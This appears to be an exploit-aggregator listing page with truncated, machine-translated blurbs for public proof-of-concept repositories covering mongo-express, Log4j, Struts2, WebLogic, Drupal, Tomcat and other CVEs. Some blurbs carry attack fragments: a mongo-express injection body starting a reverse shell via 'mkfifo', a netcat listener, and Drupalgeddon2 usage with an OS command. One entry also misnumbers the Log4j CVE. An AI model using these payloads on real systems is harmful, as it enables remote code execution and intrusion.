CVE-2019-10758

CVE-2019-10758 Удаленное выполнение кода в mongo-express, код обратного шелла: POST BODY 1: document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" POST BODY 2： document=this.constructor.constructor"return...

lenovo_exec

lenovoexec CVE-2022-3699 avec capacité d'exécution de code noyau arbitraire exploit original : https://github.com/alfarom256/CVE-2022-3699...

cve-2022-29464

cve-2022-29464 면책 조항 root@kitploit: 스크립트는 학습 및 참고용으로만 제공되며, 타인의 웹사이트를 악의적으로 공격하지 마십시오. 법을 위반하거나 질서를 어지럽힐 경우 발생하는 모든 결과는 사용자 본인이 부담합니다. 기술에는 죄가 없으며, 작성자와는 무관합니다. 스크립트를 사용하는 것은 위 내용에 동의하는 것으로 간주됩니다! --Author:lowkey0808 사용 방법 root@kitploit: usage: python3 -u url cve-2022-29464 optional arguments: -h...

CVE-2025-55182

CVE-2025-55182 - React2Shell PoC Авторство ОбнаруженоLachlan Davidson - передано команде Meta/React 29 ноября 2025 года. Обзор уязвимости Уязвимость присутствует в логике десериализации протокола React Flight. Отправляя вредоносную полезную нагрузку через HTTP POST, атакующий может добиться...

CVE-2018-11776

CVE-2018-11776 Среда для CVE-2018-11776 / S2-057 Демонстрация Запуск сервера root@kitploit: $ docker run -d --hostname struts2 --name cve-2018-11776 -p 30080:8080 knqyf263/cve-2018-11776 Эксплуатация root@kitploit: $ nc -l 10000 or nc -lp 10000 root@kitploit: $ python3 exploit.py localhost:30080...

cve-2021-44228-log4j-exploits

Воспроизведение CVE-2021-4428 Эта ДЕМО-версия предназначена для воспроизведения Log4j2 критической RCE-уязвимости CVE-2021-4428. Цель — понять опасность данной уязвимости и принять целенаправленные меры защиты в зависимости от вашей системы. Предупреждение Данная ДЕМО-версия предназначена...

capsule

Capsule Pour commencer • Documentation • Problèmes • Contribuer Aperçu Capsule est un runtime pour exécuter du code non fiable dans des environnements isolés. Chaque tâche s'exécute dans son propre bac à sable WebAssembly, offrant : Exécution isolée : chaque tâche s'exécute isolée de votre systèm...

Oracle-Weblogic-Server-AsyncResponseService-Deserialization-Remote-Code-Execution-CVE-2019-2725

CVE-2019-2725 – Oracle WebLogic 무인증 원격 코드 실행 Oracle Fusion Middleware의 Oracle WebLogic Server 구성 요소하위 구성 요소: Web Services의 취약점입니다. 영향을 받는 지원 버전은 10.3.6.0.0 및 12.1.3.0.0입니다. 쉽게 악용할 수 있는 이 취약점으로 인해 HTTP를 통한 네트워크 접근 권한이 있는 무인증 공격자가 Oracle WebLogic Server를 손상시킬 수 있습니다. 취약점 개요 CVE ID: CVE-2019-2725 심각...

CVE-2019-11932-SupportApp

CVE-2019-11932-SupportApp Этот файл с нативным кодом предназначен для дополнения опубликованного эксплойта WhatsApp GIF RCE от Awakened, вычисляя адрес функции system и адрес ROP gadget для различных типов устройств, которые затем могут быть использованы для успешной эксплуатации уязвимости...

CVE-2023-49314

CVE-2023-49314 Asana Desktop 2.1.0 на macOS допускает внедрение кода из-за специфических Electron Fuses. Отсутствует адекватная защита от внедрения кода через такие настройки, как RunAsNode и enableNodeCliInspectArguments, и, таким образом, electroniz3r может быть использован для выполнения атаки...

ATutor-2.2.4-Language-Exploit

ATutor 2.2.4 Произвольная загрузка файлов / RCE CVE-2019-12169 Название эксплойта: ATutor 2.2.4 Произвольная загрузка файлов / RCE CVE-2019-12169 Дата: 5/24/19 Автор эксплойта: liquidsky JMcPeters Домашняя страница вендора: https://atutor.github.io/ Ссылка на ПО:...

CVE-2023-49313

CVE-2023-49313 Уязвимость внедрения dylib в XMachOViewer 0.04 позволяет злоумышленникам нарушить целостность. Используя её, можно внедрить несанкционированный код в процессы продукта, что потенциально может привести к удалённому управлению и несанкционированному доступу к конфиденциальным данным...

CVE-2025-49223-BillboardJS-PoC

💥 CVE-2025-49223 - Prototype Pollution в Billboard.js В billboard.js до версии 3.15.1 была обнаружена уязвимость Prototype Pollution в функции generate, что может позволить злоумышленникам выполнить произвольный код или вызвать отказ в обслуживании DoS путём внедрения произвольных свойств. Этот...

CVE-2022-1388

CVE-2022-1388 RCE, обратная оболочка и автоматический экспорт PCAP -- ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ -- Автор не несёт ответственности за любые действия, совершённые с использованием данного проекта/репозитория. Я создал его для понимания атаки, а также для написания детектов в SIEM, и хочу...

CVE-2024-50379-POC

CVE-2024-50379 악용 및 POC 이 저장소는 Apache Tomcat에 영향을 미치는 취약점인 CVE-2024-50379 에 대한 개념 증명POC을 포함합니다. 이 문제는 TOCTOUTime-of-Check Time-of-Use 경쟁 조건 과 관련되어 있으며, 특히 Windows와 같은 대소문자를 구분하지 않는 파일 시스템에서 원격 코드 실행RCE으로 이어질 수 있습니다. 목차 설명 POC 사용 방법 보안 고려 사항 라이선스 설명 CVE-2024-50379는 Apache Tomcat의 취약점으로, 공격자가 TOCTO...

nocturne

nocturne 제가 가장 좋아하는 게임 중 하나의 이름을 딴 "nocturne"은 x86-64 PE 코드 가상화virtualizer 및 바이너리 재작성 도구입니다. 기능 네이티브 콜 브리지 30개 이상의 VM 핸들러 내장된 정크 코드 난독화 호출별 VM 상태에 대한 스레드 안전성 사용법 Nocturne 가상화 도구를 사용하려면 core/에 있는 "nocturnesdk.hpp"를 프로젝트에 복사하고 포함하십시오. root@kitploit: include "nocturnesdk.hpp" VIRTUALIZE int secretin...

drupalgeddon2

drupalgeddon2 CVE-2018-7600용 익스플로잇. 사용법: drupalgeddon2 options root@kitploit: -h: URL 대상 -c: OS 명령 예시: drupalgeddon2.py -h http://www.victim.com -c 'ls -la' 기반: https://github.com/FireFart/CVE-2018-7600...

CVE-2023-41362_MyBB_ACP_RCE

CVE-2023-41362 - MyBB ACP RCE Эксплойт для CVE-2023-41362 Пост в блоге: https://blog.sorcery.ie/posts/mybbacprce...

Oracle-WebLogic-CVE-2017-10271-master

WebLogic Wls-wsat XMLDecoder Описание уязвимости mitre:https://vulners.com/cve/CVE-2017-3506 Ранее злоумышленники использовали уязвимость компонента WLS в WebLogic для масштабных удалённых атак на корпоративные серверы. Большое количество серверов было скомпрометировано, и число атакованных...

CVE-2021-44228-Apache-Log4j

CVE-2021-44228 удаленное выполнение кода в Apache Log4j） Затронутые версии: все версии от 2.0-beta9 до 2.12.1 и от 2.13.0 до 2.15.0 Уведомления / бюллетени безопасности, связанные с Log4Shell CVE-2021-44228 Использование: 1. Скачайте проект и скомпилируйте InjectClazz.java root@kitploit: download...